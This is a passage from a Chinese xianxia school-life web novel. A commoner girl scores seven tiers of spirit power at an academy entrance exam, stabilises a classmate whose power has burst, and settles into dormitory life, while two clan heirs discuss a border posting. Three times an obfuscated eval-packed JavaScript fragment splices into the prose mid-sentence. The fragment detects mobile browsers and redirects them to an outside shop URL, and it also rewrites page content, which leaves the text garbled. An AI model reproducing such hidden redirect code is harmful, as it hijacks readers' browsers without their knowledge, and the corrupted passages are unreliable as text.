还真不是所有人都成功的,到了第三组,就有一个男生年十五却还未开灵。他痛哭请求老师再测一次,老师问:“你家当地驻城灵师为你试灵时如何?” 男生支支吾吾:“我……当时许是状态不佳,没试出来……” 现场嘘声一片,老师颇为无奈:“同学,你就该听你们驻城灵师的话,何苦来这一趟……” 男生哭闹不肯离去,老师只好让人将他带离。 测试继续。巫寻月排在最后一组,所以,她看完了所有人的测灵结果——最高四重灵,一重和二重最为普遍,难怪都说这场都外新生入学考试没有看头,大家早已默认有天分者皆出于神都世族,要不传言梅校长要来时,无一人相信。 轮到最后一组了。 巫寻月与其他五人上前,她站中位,直到起身那一刻,她竟才开始紧张。 都走到这里了,应该,不会是梦了吧…… 老师运灵,测试开始。 有四位皆是一重灵,一位二重灵,很快便公布结果下去了。主考官接着便起了身,以为很快会有第六个结果,可以宣布结束了。 可,银灵溢出一重灵,再一倍,再两倍,也没有停。到了四倍,也未停。 至四倍时,测试老师先是面露惊喜,至五倍时,笑意顷刻僵在脸上,双眼转而瞪大。 四下师生已纷纷站起,议论不断:“怎会如此!”“她是谁?竟不是神都世族?”“这……这已是几重灵?”“当真没错吗?”…… 六重灵,主考官身后的帘子被掀起。 ——七重灵,仍未停。 全场一片哗然,老师们也坐不住了,纷纷涌上前去。 测灵筒的上限为九重灵,仅神都学宫教学使用,九重灵以上自有其显像。所以现在,银灵已快满杯。 而巫寻月,整个人被一只看不见的大手提起,全程都在仰头闭眼,额头冷汗渗出。她感觉到整个身体前所未有地翻涌沸腾,那些肆意散漫的灵力此刻发疯般在她体内上蹿下跳,不愿受如此管制。 银灵过了七重,虽未停,却也不再迅速上升了,以极慢的速度一点一点往八重攀升。所有人凝神瞩目,最终,银灵轰然一震,在接近八重灵之处静止。 银丝消失了,测灵老师还未反应过来,她如遭惊雷般盯着巫寻月,直到有人提醒,才匆匆宣布:“……巫寻月——七重灵!” 感觉到整个人被释放,巫寻月缓缓睁眼,却大口大口喘气,面色煞白,是他人未有之相。不远处的校医上前:“怎么了?感觉如何?” 有人先校医一步到了巫寻月面前,开口便知气定神闲:“灵力过高却久未开灵,则灵力已颇为成熟而从未受辖制,此刻有些悖逆,在与你的心神相斥。” 巫寻月抬头看向来人,是位高挑俊朗的成年男子,眉眼淡然若定,嘴角挂着凉薄的笑意,仿佛自然天成,抹除不去。 她听见众人一致行礼:“——世子。” 巫寻月一惊,再注意到他腰间执“梅”字令牌,无疑就是梅见蹊了——那么,她的确不认识,没见过,他何故给她开推荐信? 梅见蹊眉间带笑,步步走近巫寻月,她心神不宁还来不及作反应,只见他轻轻在她额心一敲,“轰”一下,有股力量自天灵盖而下,将她体内紊乱的灵力顷刻间驯服。 现场听取“哇”声一片,待巫寻月恢复正常,全然明白了,当即欠身行礼:“谢世子。” 梅见蹊饶有兴致地观察她,随后转身,轻飘飘道:“你该喊我梅老师。” “……谢梅老师!”巫寻月抬头,梅见蹊已走远。 现场有片刻的停滞,主考官站了出来:“好了好了,现在考试继续……开灵测试结束,请合格的二百二十七位同学到一旁稍作,入学考试马上开始。” 一番筛选,淘汰九人,通过二百二十七人。众人回到一旁落座,待老师清点人数。 后清场等待考试时,场下对梅见蹊议论不断——由于梅见蹊酷爱四处游玩,因而成为普通人所能见到的级别最高的宗族世子。 而在梅家之上的那位司城家世子,几乎只存在于人们的想象之中,虽被传为神都第一美男,却是只闻其名,不见其人。若要形容其容仪,一般都会如此类比:“比梅家世子要英俊上一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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场地已清理完毕,主考官宣布入学考试开始,大家才终于从刚才那一番惊奇之中拉回思绪,替自己紧张了起来。好在梅见蹊已离场——自然是看够了,她灵力已有七重,且还有如此强烈的灵识,这入学考试还能有什么悬念——也让众人不至那么紧张了。 主考官念了第一个名字,只见一个约莫十三四岁的姑娘缓缓起身,提着把剑走了出去,昂首挺胸,泰然自若。见她如此,全场都多了几分期待。 少女行到台上,向主考官报上姓名,待主考官一声令下,她便拔剑而出,手腕轻转,剑刃破空划出银弧,接而一个跃起利落翻身,剑尖前刺,破空声锐如雀鸣。虽只是基础招式,但腰腿发力浑然一体,一招一式,皆干净流畅。 最后收剑时,她也站得稳当,向主考官行礼,结束。主考官一边看着桌面呈上的她的测灵结果,一边道:“二重灵便有如此流畅利落的武术,且稳定运灵加持速度,功底上佳呀——恭喜你,考试通过。” 四周响起掌声,少女一直紧绷的面庞也终于露出喜色,鞠躬退下了。 第二位上场的,是一位十六岁少年。开考之后,只见他左手举起一柄暗器,右手以食指和中指为剑指向暗器。他眉头紧蹙,专心运灵,不一会儿,剑手与暗器间便有轻盈的灵气流转,他缓缓松开左手,那暗器竟未掉下,虽微晃,却由着他掌控。接着,他更大胆一些,屏足灵气,发力一挥,那暗器随之冲去,撞到柱子,未插入,砸落下来。 主考官以掌声鼓励,问:“这控术是你自学的吗?” 少年答:“是,与同伴玩耍时偶然发现我竟能隔空控制暗器,后来看到我们驻城灵师发的试灵公告,我便去试了,说是可来神都学宫考试。” 主考官笑言:“一重灵便已初展控术,颇有天资——恭喜你,通过考试。” 四下鼓掌之时,有人在一旁解释:“这便是灵术学习的两大基础,武术与控术……” 此时殿外传来一阵喧闹,许多人闻声抬头,只见三三两两学生模样的人由远及近,到了殿门前却并不进来,就挤在那里围观,慢慢人多了,两边窗户也趴上了人。虽然人不少,却并未吵闹,一个个看起来调皮烂漫,所以老师也并未驱赶。 这之中自然夹杂私语:“谁是那个七重灵?”“那边那边,那个特别漂亮的姑娘。”“这么漂亮?七重灵?是哪家大人的孩子?”“真的只有十五岁吗?” 偶然几句入耳,巫寻月不免紧张起来,这才一会儿功夫,测灵结果怎么就传了出去。 突然间,巫寻月听到有人在低声叫她的名字:“寻——月——”她回头,就见玉文瑛在人堆里冲她挥手,用嘴型说了“加油”,她笑起来,用力地点点头。 接着,玉文瑛便被同学们围住了:“你认识?她是哪家子弟?”“她真有七重灵?听说已快八重了。”“她都会些什么灵术啊?” 此言一出,给巫寻月问懵了,她发现自己确实……什么都不会。几轮考试下来,别的孩子几乎都是偶然发现了自己有御灵之术,从而来参加考试的,可她…… 她到底哪里特别呢?怎么就有七重灵了?巫寻月自己也搞不明白。仔细想来,自己能轻易跳上擎天巨树,或许是因为身怀灵力,且平日与小白在山谷里瞎跑,她也能轻松翻山越岭,甚至从瀑布跳下却毫发无伤。再者,她特别容易就能找到仙品灵草所在,总觉得冥冥之中存在着自动定位,这……与灵力有关吗? 那……一会她给大家表演个跳上房梁?还是去山里给大家摘朵灵草来? 11. 第 11 章 入学考试顺序重新进行排列,巫寻月大约排到上午末场。考试人数已过大半,考生所展示的皆是非常基础的御灵之术,对门外的高年级学生来说没什么看头,巫寻月却看得十分认真,对她来说,这是她学习灵术的第一堂课——当然,她并不知道自己已经见识过顶级灵术这回事。 一场考试下来,考生多是展示武术,偶有些会基础调息,有的会些轻功。只有十六人会控术,且全为基础攻击类控术。 更稀有的是医术,只有一人,孩子一上去就给自己手指头来了一刀,吓了大家一跳,只见他淡定地用右手御灵,缓缓将伤口修复如初。考完之后,他获得了主考官起身鼓掌——他便是那仅次于巫寻月的,唯一的四重灵。 巫寻月觉得自己大概猜得没错,武术乃根本基础,控术为进阶,医术最为复杂难学。 考生过了二十,这次上场的姑娘所展示为控术,主考官直了直腰身,凝神细看。只见她挥动双手,于身前做出一系列手势,巫寻月听见一位老师说:“焰炮轰?” 此言一出,低语阵阵:“焰炮轰?那是二年级学的控术,她竟会?”“我记得她是一重灵啊,就已能自学控术了?” 这姑娘架势比前三位用控术的考生都要足,巫寻月也在全神贯注。其实,焰炮轰是最基础的入门控术之一,顾名思义,如同孩子玩的烟火炮一样,攻击力极低,若是正式学习过,一般二年级生应在五秒内生成攻击,高年级学生一两秒钟便可。可眼下,这姑娘过了数秒仍未控灵成型,看来是并未完全掌握。 约有十几二十秒后,姑娘双手之间逐渐生成火炮,可就如同回光返照一般,在焰火燃到最亮时一瞬破灭,顺带冲破她的灵流,迸发出爆破之声。 “啊——”姑娘被弹飞向后,摔倒在地,痛苦呜咽不止。 有人大喊:“她灵爆了!” 许是前头一直无事,负责应急的校医竟走远了些,眼见姑娘一直在地上哀嚎,而匆匆赶来的校医还有段距离,巫寻月不忍再等,即刻起身上去,跪在她身边为她号脉。 此刻门外,议论声已起:“她会医术?她是医疗系?” 灵力正在少女体内冲撞,虽只有微弱的一重灵,也够这十一二岁的孩子百般痛苦。巫寻月心有不忍,攥着她的手握紧了些,可就在瞬间,竟感觉指尖有灵力泄出,缓缓进入少女体内,她的呜咽立时渐稳渐止。 巫寻月搞不明白这是怎么回事,抬头无措地张望,就看见考官桌上放了一些草药,那是为展示医术的考生准备的,却一直未派上用场。 巫寻月细看之后,上前取走其中一株叶肉饱满的草药,将其放于掌心,合紧双手碾压出汁,分别涂于少女的太阳穴。很快,她便彻底安静下来,不再挣扎了。 少女睁开眼,缓缓从地上爬起,对巫寻月说:“谢谢姐姐。” 即便她看起来已没事,校医还是上前为她把脉,一断便惊:“灵力平稳如常,躁动全无,是白斑掌的功效……可还有些微灵力像是由外而来,起了稳灵缓冲的作用……”校医灵力深厚,经验丰富,自是一看便知源头,她转头看向巫寻月,双眼愕然:“是你的灵力。” 哗然四起,门外的声音已压不住:“我靠,天生医疗系圣体啊!” 巫寻月才是全场最懵的人:“我……我不知道……” “好了好了,”主考官缓缓起身,在场安静了下来,他先是对本次考生说,“你初生灵力,根基未打,便着急学习控术,实难掌控。此次灵爆无事,尚因你灵力浅薄,若是灵力再强些时灵爆,你可知后果?” 少女已开始哭泣:“考官,我知错了,您再给我一次机会,我……” 主考官摆了摆手,继续说:“我还未说完,你虽心浮气躁,但一重灵已能练出焰炮轰雏形,你是有天分的,望你日后入学好好磨练心性,比起学习灵术,更要懂得控心——恭喜你,考试通过。” 少女难以置信地愣了几秒,才赶紧连连鞠躬:“谢谢考官,谢谢考官,学生一定谨记!”起身后,见到巫寻月,也不忘再鞠躬:“谢谢姐姐!” “没事没事。”巫寻月冲她一笑,正要跟着一同下去,就被考官叫住了。 “巫寻月。” 巫寻月回头,主考官正看着她,她站定,微微欠身,应:“是。” 主考官低头往桌面一扫,巫寻月跟着一看,那里放着她署名梅见蹊的推荐信。主考官再看向她,眼带笑意,道:“七重灵,你是医疗系灵师?” “我不是……”巫寻月惭愧地笑了笑,“我还没学过灵术,什么也不会,只是家里开药铺,对草药比较熟悉,知道白斑掌的效用。” 一边的校医也问:“可白斑掌一向是取汁内服,你怎知外敷于太阳穴也有用的?” 巫寻月答:“我自己想的,我在家乡时和家中姐姐救过一位灵师,他不慎灵力紊乱,当时我们手中便有白斑掌,可他嘴唇发紫紧闭,怎么也唤不醒,我心想白斑掌主稳定心神从而控制全身灵力,便试着在他太阳穴抹上,结果他也好了。” 校医难掩激动道:“小姑娘,你真是太聪明太有天分了!” 接着,主考官又问:“那你可知自己会渡灵?” “渡灵?”巫寻月没听懂。 “将自己的灵力传入别人体内,压制对方灵力使其稳定,这只能发生在高灵力者对低灵力者之间,且需学会渡灵术。” 巫寻月后知后觉:“我刚才察觉到我手间有灵力外泄,原来……那叫做渡灵?” 校医更是惊愕:“你竟真的什么也不会。” 听到如此,主考官笑了笑,低头又看了眼推荐信,似是明白了。他再抬头时,郑重宣布:“巫寻月——恭喜你,考试通过。” 巫寻月提前结束了考试,可之后也不剩几位,上午很快便结束了。入学考试需分两日进行,就这第一日上午来看,三十八人考试,三十七人通过,只淘汰了一位还未成熟的一重灵。 老师统一领他们去宿舍,行李自会有人送上山。巫寻月出门时,看到玉文瑛还在等她,两人走向彼此,玉文瑛看上去更激动:“我就说你一定没问题!” 巫寻月真心说:“也是误打误撞,不然我还不知要展示些什么……对了,文瑛,你专业是什么系的?” “我是强攻系,”玉文瑛说,“控制系太难,强攻系好毕业些。” “不都是需要七重灵才能毕业吗?这还分难易?” “虽是如此,强攻系前期精进得快,晋升也就快些,控制系可就不一样了,入门难,进阶更难,我是学不来的,二年级时我控术险些没及格呢。” “原来如此……” 见她若有所思,玉文瑛拍了拍她的肩,笑言:“这两者大概都不是你之所向,刚才见你如此有医术天赋,大家都认定了你一定会是医疗系灵师!” “……是吗?”巫寻月有些晃神。 新生队伍都出来了,巫寻月与玉文瑛道了别,赶到队伍最后。陪后的老师见了她,主动与她聊天:“巫寻月,你家乡这么远,这次来可有带够衣物?神都冬长夏短,可有的冷呢。” 巫寻月笑笑:“路途遥远,姐姐怕我路上烦琐,并未让我多带行李,刚好我还没去过神都呢,等有空了去神都逛逛,添置些衣物。” “倒也不用急,学校会发统一校服,在校时都要穿上,下午你们便要去领自己的校服和课本了。” “好……那宿舍是什么样的呢?” “四人一间,男女分住,”老师往前看了一眼,压低声些才说,“神都学宫同一年级同学年龄各有不同,学校一向按年龄分宿舍,与你一同的都是十五岁的女生,但她们只有一二重灵。” 巫寻月看出来老师有话想提醒她,便顺着问下去:“老师,可有何不妥吗?” 老师推心置腹道:“我们灵族崇尚灵力,你有如此天分,大家敬佩你是真的,可毕竟还在学校,大家出处不同,心性不同,日后的修为前程也不同,你们在相同的年龄拉开了太大差距,便终究不是真正的同龄人了。” 巫寻月心头一颤,认真说:“老师,我明白了,可若按灵力划分,便也有歧视之嫌,结果可能会变成水平固化,强者更强,弱者越弱。” 老师欣慰极了:“真聪明,我就知道你一定能明白。” 女生宿舍在一个方正的院子里,一个院子有三间,澡堂和茅房俱全。巫寻月被安排在左间,她进门时,看到三位女生都在,她们一齐看过来,她便先打了招呼:“你们好,我叫巫寻月。” 三人见到她,都有些惊讶,接而纷纷冲她微笑,也自我介绍:“鹿晴晴。”“定雪莲。”“锦章。” 一番寒暄,三人都来自各大城市的大户人家,得知巫寻月家中经营药铺,也都表示:“难怪你如此精通药理,想来是会选医疗系呢。” 似乎今天聊起专业方向,所有人都默认巫寻月定是医疗系,可她却是笑而不语。 各自的床上都放了分发的被褥,行李也已经到了,各自忙着收拾,并不多话。 巫寻月一边向里一边环视屋内,很是惊喜,神都学宫果然气派,屋内很宽敞,主体新净,陈设讲究。四张床分置于不同方向,挂有床帘,头不对头,很保证隐私性。各自还有书桌和柜子,书桌也并不挨着,在各自温习功课时留有距离。虽然没有家里宽敞,陈设丰富,可总体而言条件也已差不多。 时间已到午间,有老师过来通知说,可到食堂用饭后,再去领取课本和校服。鹿晴晴说她来得早些,已将学校大致探过,最近的食堂离此处也有些距离,领大家一同过去,四人便结伴出了门。 一路上,注目不少,自然都是投向巫寻月的,三三两两的同学接耳议论着:“哎你看,她住她们宿舍。” “还真是十五啊,那其中一人是我老乡,也是十五岁,可我老乡只有一重灵。” “听说她家中皆是平民,真不知是如何修炼的七重灵……” 这些问题,三位舍友自然也是好奇的,这会终于得空,便替大家问了。锦章最先问出口:“寻月,你家中并无灵师,你是如何修得七重灵呢?” 巫寻月老老实实说:“我也不知道,我们邬戍城中学堂教的普通学问,家中请先生也只教我识文断字,我只是闲来帮姐姐出去采药,喜欢乱跑了些,并没有其他修炼……” 定雪莲又问:“可是这样,你是怎么发现自己有灵力,要来神都的?” 这个问题,可真是彻底为难巫寻月了。脑海中映着那张俊颜,她迟了阵子才答:“……也是意外得知的。” 觉察出她话有不便,舍友们也并未勉强。在灵师的世界里,修为越高自是越为神秘,越是高阶灵师越有自己的不传之法,即便是传了,那也非常人所能复刻。所以,对于巫寻月这样注定天分超群之人,何必追问那么多呢。 但也因此,注定了她们三人与她在修炼上,鲜少再有共同话题了。这才不到一个时辰,巫寻月便初次体会到了老师的那句“终究不是真正的同龄人”。 神都学宫有几处食堂,她们选了离宿舍最近的一座先去尝尝。后日才开学,食堂里人不算多,同学们也都穿着各自的常服。往来之人见了巫寻月,表现与路上的如出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674287|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辙。 四人打了饭一同坐下,鹿晴晴突然说:“我想起来方才听老师说,我们这一届已考完的神都世族子弟有近三百人,参加这次入学考试的都外学子有二百二十七人,那么全年级大约就是五百多一些,要分成十七个班,每班三十人左右,向来是按灵力等级分的,这样好根据我们的底子用不同的教学方法。” 此言一出,定雪莲与锦章都看向了巫寻月,后者却是心里一惊,似乎已预见了什么。但她面上仍然平静,浅笑道:“这样其实对大家都好,不同进度的同学,不会相互干扰,跟相近的同学交流起来,也能事半功倍些。” 几人都点点头:“说的也是。” 巫寻月粗略一算,若是每届学生人数相近,那全校便有三千多人,难怪这食堂要分成好几处呢。 现下食堂里人不多,起哄和八卦时的音量向来也是压不住,就这样,周围高年级学生三三两两的话茬便飘了过来: “听说了吗?司城家世子已飞升封灵境!” “怎会不知!我家表哥就在九部令,听说司城宗主已将令中事务交由世子全权代掌!” “实在太吓人了,世子不是才二十二岁?大灵师封灵时也得到三十一岁了……” “是真的吗?会不会只是代掌九部令事务便传成……” “司城封座早已带世子面见天听阁,并设宴邀请五大宗族同贺,此时神都早已满城皆知……” “我还听说司城家郡主今年也要回校读书,是真的假的?她都已经辍学两三年了吧……” “是真的,五年级的学姐说了,郡主回来就在他们班……” “啊?这是跳了几级?” “甭管跳几级,那是司城家,若是郡主真的想学,从哪里学起都可以,又或者说她学成什么样都不打紧,反正世子才是下一任宗主……” “今年学校可真是热闹啊,前有狄家郡主即将毕业大考,后有司城家郡主重返学校,想当年她们二人前后隔一年入学,也是一出轰动至极,有了司城郡主作对比,狄家郡主一举成为了神都第一美人……” “可今年我看未必了,也不知狄家郡主听说了那七重灵新生没有,好想看看她们二人同框啊……” “你也更相中她的颜是吧!我也是!明艳动人,实在是太夺目了!” “我还是更喜欢郡主那样的清丽优雅,神都第一美人,就当如此清冷如月……” 也不知道他们有心或无意,总之该听的不该听的,巫寻月全都听到了。锦章最先出言安抚她:“寻月,你初来他们觉着新鲜,自然多说几句,过些日子应该也就好了,不必挂心。” 巫寻月还未作答,忽而一道稚嫩声音从周身传来,替她答了:“是啊,寻月姐姐。” 巫寻月转头一看,是她急救的那位展示控术而灵爆的小女孩,她很是惊喜:“是你!你叫……” “姐姐,我叫代萱,叫我阿萱便好,”代萱打完招呼,接着就说,“我才不管她什么郡主呢,寻月姐姐在我心里全天下第一美。” 几人都被她这般童真逗笑了,巫寻月握着她的手,欣悦而认真说:“好啦,姐姐谢谢你。可是呢,其实他们也并未说什么,女子各有千秋,本就无需比较,郡主有郡主所求,我也有我的,我们并不相冲,我只要做好自己的事,就好啦。” 几人里最先听明白的是锦章,她笑了笑,这话说给她们,也说自己:“是啊,我们来此求学都是为了自己所求,何必与他人比较呢,只求不负自己便好。” “嗯!” 之后去领书和校服,还有分发的各种日用品,四人抱着满满当当的东西回到宿舍,先是一同给屋子做大扫除,又各自忙碌收拾,不知不觉就到了日暮。 巫寻月前几日心神不宁,今日又忙里忙外,爬上爬下,实在累坏了,沐浴回来之后,一沾到床幔几乎就睡着了。 次日睡到自然醒来,当巫寻月睁眼见到神都学宫的红色床幔时,有那么一阵恍惚,还以为自己在做梦。 直到身边传来舍友伸长懒腰的声音,她才把自己拉回现实,告诉自己——她真的在神都学宫入学了。 今日入学考试继续进行,到了下午才有全部结果。四人都起床后,约着一起去都前驿逛逛,买些日用品。她们现下还不会遁术,听说学校有专门前往神都城的接驳马车,可今日时间紧张,倒也不急于一时。 下午从都前驿回来不久,就传来了入学考试已经结束的消息,之后很快张贴出了分班名单,四人便一同前去查看。 本届学生共五百二十一人,一班为四重灵以上,二到四班为三重灵,五到八班为二重灵,九到十七班为一重灵。也就是说,四重灵以上有三十人左右,三重灵有大约九十人,二重灵一百来人,一重灵近三百人。 那么便是,巫寻月在一班,锦章有二重灵在六班,鹿晴晴与定雪莲都是一重灵,竟还同在十三班。 巫寻月定睛一看,有些惊讶:“代萱也在一班。” 锦章跟着看过来,也有疑虑:“是她的名字,可我记得她不是一重灵吗?” 巫寻月想了想,说:“也许学校考虑到她一重灵便已能初展控术,天分不一般呢。” 回来之前,巫寻月看见了站在不远处的梅亦书,便与舍友道别,走了过去,招呼道:“梅老师。” 梅亦书见到她,很是开心:“寻月,又见面了,看到分班名单了吗?你在一班。” “嗯,刚才看见了。”巫寻月犹豫几分,还是决定问出口:“梅老师,请问您知不知道,是何人找梅世子帮我开的推荐信呢?” 12. 第 12 章 梅亦书浅浅一笑,说:“自然是能找世子的人。” 这话说得晦涩,自然是不想讲明,又或是不能讲明。可巫寻月太想找到那个人的消息了,这就足够她鼓足勇气继续问:“可是我听说……即便是任何世家大族,校长也绝不徇私,莫非……那人是梅家人?” 梅亦书没有很快回应,这小姑娘在试探,她觉得甚有意思,可她当然不能说,上面那两个人,她谁也得罪不起。她轻抚巫寻月的头,笑了笑:“你初来学校,还有许多新事物需要学习和接受,有些事等到合适的时候,自然就明白了。” 看来梅亦书是不能说了,巫寻月也无法勉强。既如此,她还有一个问题,她沉了口气才开口:“那,梅老师,我还有一个问题……我分进一班,想来同学都是灵力高一些的世家子弟,那么,他们应该多是十一二岁,对吗?” 见她谨慎而忧虑的样子,梅亦书已然明白了她所想。在班级里,她将与等同天资却不同年龄的人在一起,年龄差距摆在那,大约是说不到一块;在宿舍里,她将与不同天资而相同年龄的人在一起,水平差距摆在那,也是说不到一块。 等待她的,是一条无人理解的孤独之路。 梅亦书也跟着沉了口气,轻轻说:“寻月,若你来神都之前便知道这些,你还会来吗?” 巫寻月心头重重一震,却根本没有犹豫:“会。” “那就对了,”梅亦书笑了,“去路迢迢,可你还是会选择出发的。” 脑海中再浮现出那张冷峻的容颜,他就站在夕阳下,站在花海之中,对她说:“若你来神都,我们还会再见。” 所以,她什么也不再怕了。 巫寻月再抬头时,眼中已满是坚定:“梅老师,我明白了。” 夕阳落下了,九部令府镀了金的招牌泛射金光,满是金钱的味道。 梅见蹊大摇大摆地往院子里走,到了座首书房前也不通报,张嘴便说:“你还在这啊,以为这个时候你到家了,去府中寻你却不见人。” 司城凛正伏案思考,似是没听到,又或置若罔闻。梅见蹊习惯了,全程主打一个自助,先是挑了个舒服的位子坐下,再开始动手泡茶。 梅见蹊一边忙活,一边说:“迦染我都安排好了,还是在她原来的班级,同学们听说她要回来都很期待,学校也安排好了每日酉时放行,你家的烈火驹可到断崖接她。” 司城凛没做声。 他不说话,梅见蹊也不说话,看谁急死谁。 ……好吧,这种游戏,向来是他赢。梅见蹊坐不住了,起身走到他案前,弯下身子整张脸凑上去。司城凛向后一退,冷冷道:“若是没事,茶也不喝,可以走,我还很忙。” “——喂,”梅见蹊一把夺过他手中的折子,往桌上一摔,“我帮你的小姑娘稳灵,你不该谢我吗?” 司城凛终于抬头,面容一贯冷冽:“这是你作为老师的责任,我何谢之有?” 倒是没否认对她的称呼。但梅见蹊抓到了重点:“你怎么不问我为何要给她稳灵?” “今日开灵和考试之事,我都知道了。” “……好你个司城凛,竟敢为了个女人渗透我神都学宫!” 司城凛已将梅见蹊摔下的折子重新拿起,又不理他了。 见他这副万年寒冰的模样,梅见蹊双手抱胸,往后踱步,颇为感叹:“我早该想到的,司城凛,你好狠的心,让她一个人来神都,一个人待在与自己格格不入的地方,同学不亲,舍友不近,而她又注定会成为全校瞩目……你可知,这是一条孤独之路?” 在梅见蹊看不见的地方,司城凛眼帘微动。 待梅见蹊回头,看到的却是他纹丝不动的样子。梅见蹊嘴角一弯,看热闹一般地说:“而你现在是绝不会出现在她身边的,对吗?” 司城凛默了许久,就在梅见蹊要回去喝茶之时,他突然开了口:“我已向父亲请奏,前往边境换防戍边。” 梅见蹊一惊,明知故问道:“去多久?” “两年。”司城凛也知道,他不过是想确认而已。依照驻外制度,于万墟洲戍边与山海洲驻军,都是两年。 “可司城宗主的身体……” “所以,我才要迦染回来,”司城凛打断了他,“她一直浪迹在外,是该多些时间好好陪父亲了。” “什么时候走?” “很快。” 梅见蹊一动不动,斜着眼睛看他,说:“我听说,风族敖家世子听闻你封灵,立刻四处打听想要与你一战……你们不会约好了吧?” 司城凛不说话,梅见蹊全当他默认了,大笑起来:“好好好,好你个司城凛,和平期闲来无事,竟想出这么多法子解闷,先是不知从哪捡了个世外美人,现在又借口戍边跑去与外族约战……” 司城凛虽未在看他,面色却多了几分肃正:“敖星泓是风族独立派第二士族的世子,去年二十七岁封灵,天听阁震动,我此次前去,也是大灵师属意为之。” “世子对世子,天才对天才。”梅见蹊缓缓踱步,好一派喜闻乐见。 风族与灵族同源,虽修炼根基不同,体系也不同,但灵族仍习惯以“封灵”概称风族修炼鼎峰,毕竟两族的这一级别,也都是旗鼓相当的对手。 “确实没有比这更好的机会了,”司城凛难得动了动,抬头看向远处,“风族正值独立派轮值首尊,若我与敖星泓打出个意外,风族也不至以此为借口轻易开战,若是到了传承派轮值,我不会去。” 这一次,换梅见蹊久未回应,他看着司城凛,眼底多了分黯淡:“阿凛,短短这么些日子,你心思深沉了许多。” 司城凛收回目光,不屑理会他突然矫情,但也真心实意说:“我不在这两年,迦染还要你多照应。” 梅见蹊眉头一挑,换回那派玩世不恭之相,道:“就只有迦染吗?” 司城凛没再说话,低头看起了折子。梅见蹊早习惯了他这副越是沉默就越是有事的样子,更是对以此逗他乐此不疲。 梅见蹊临走时,突然听到司城凛在身后说:“你还在见她吗?” 背着司城凛,梅见蹊脸色骤变。他站定而立,久未有动,最后缓缓偏头,已然是不咸不淡:“你这远水若想救近火,不如去看看乐凰那边,我听说……言萧鹤已经封灵,即将接任八令座首,你若是还没走,可赶上这热闹。” 梅见蹊走了,留下司城凛对空的双眼,幽深无垠,探不出意味。 五大宗族嫡长之中,司城凛是年纪最小的世子。最年长的桑家世子是个药罐子,只会泡在药里研究学问;狄家世子还算正经上进,打理家族事务久不在神都;而空相家嫡长是一位郡主,任一部令副座之职。 而梅家世子,那厮看上去不太正经,实际上是一点也不正经,肯留在神都学宫教书,自有其目的。 至于狄乐凰和言萧鹤怎么回事…… 司城凛觉得自己倒也不是一个管事婆。 神都学宫发的校服有两种,一种为深红色翻领长袍,锦缎制面,用于大会、典礼等正式场合,只有一套;另一种为棉麻面料,窄袖交领,白底红边,下身为九破裙制式,开有岔口,十分便于练功和行动,是日常上课穿的,一共发了四套,冬夏分别两套。 当天晚上她们各自拿到课表,一班的第一节课,排的是历史,之后是调息,午后是武术和堪舆,而巫寻月最期待的药理,则排到了明日上午第一节。与草药打了十几年交道,甚至自己的名字以草药命名,总该见识见识灵师世界里正规的药理课是什么样的。 夜里挑灯之下,巫寻月在给姐姐写信,告知她一切都好,不用担心。 枕着印有乌金鹍图腾的被褥,巫寻月满怀期待,进入了开学前的最后一个梦乡。 快要睡着时,她轻轻呓语道:“要是能给小白写信就好了……” 开学第一日,一早本是开学典礼,校长讲话,但到了食堂后突然得到通知,校长临时到天听阁参会,今日开学典礼取消,照常上课,同学们便纷纷赶回宿舍更衣了。 代萱来找巫寻月一同去教室,历史课所在的临崖阁课室离宿舍有些距离,她怕自己跑茬了。出门路上,巫寻月问她:“那你舍友呢?” 代萱话里有傲慢:“她们都在其他班,只有我在一班,便不一道出门了。” 临崖阁在悬空楼那边,而历史课授课老师,正是梅见蹊。 远远地瞧见了悬空楼,巫寻月听到一旁有同学说:“——快看,是司城家车驾烈火驹!” 所有人闻声一道望去,只见天幕中两匹赤色骏马疾驰而来,鬃毛飞扬飘逸雄如烈火,极速踏云之时,竟真的溅起阵阵火花,难怪名为烈火驹。 两匹烈火驹拉着一座车驾,缓缓降落在断崖之上,崖后便是那深不见底的瀑布。有穿着老师制服的人上前迎接,车门打开,走出一位妙龄少女,同样穿着神都学宫常服。 有人高喊:“是司城家郡主!她真的回来上课了!” 代萱也跟着凑热闹:“天呀,我竟第一天就见到了五大宗族之首司城家的郡主,果真是气派呢!” 巫寻月也在远眺,只可惜隔得太远,瞧得不仔细,但很明显,那位郡主神色并不开心。突然撞钟响起,她提醒道:“辰时三刻了,我们赶快走吧。” “好!” 到了临崖阁外,远看课室已坐了半数人。外头水雾缭绕,水声轰响,巫寻月还在想会不会影响上课,可就在她迈入门槛的那一刻,流水声竟如同消音一般,被隔断在了屋外。巫寻月抬眼观察,四周的窗柩都有隐现的结界,原来,是用灵术隔绝了水声。 比起这个,或许她更该注意到同学们的集体注视。半数人便是将近二十,正齐刷刷地看着她,偶有接耳:“是她吧,那个七重灵?” 昨日巫寻月还在纳闷,为什么所有人几乎都一眼认定是她,她很快找到了答案,他们都是这样传的——那位七重灵新生容貌赛若郡主,一看便知——所以,还真一看便知。 巫寻月不喜欢这样的描述,可由不得她。 到底还是小孩儿热情无畏,一进来便有几位十一二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 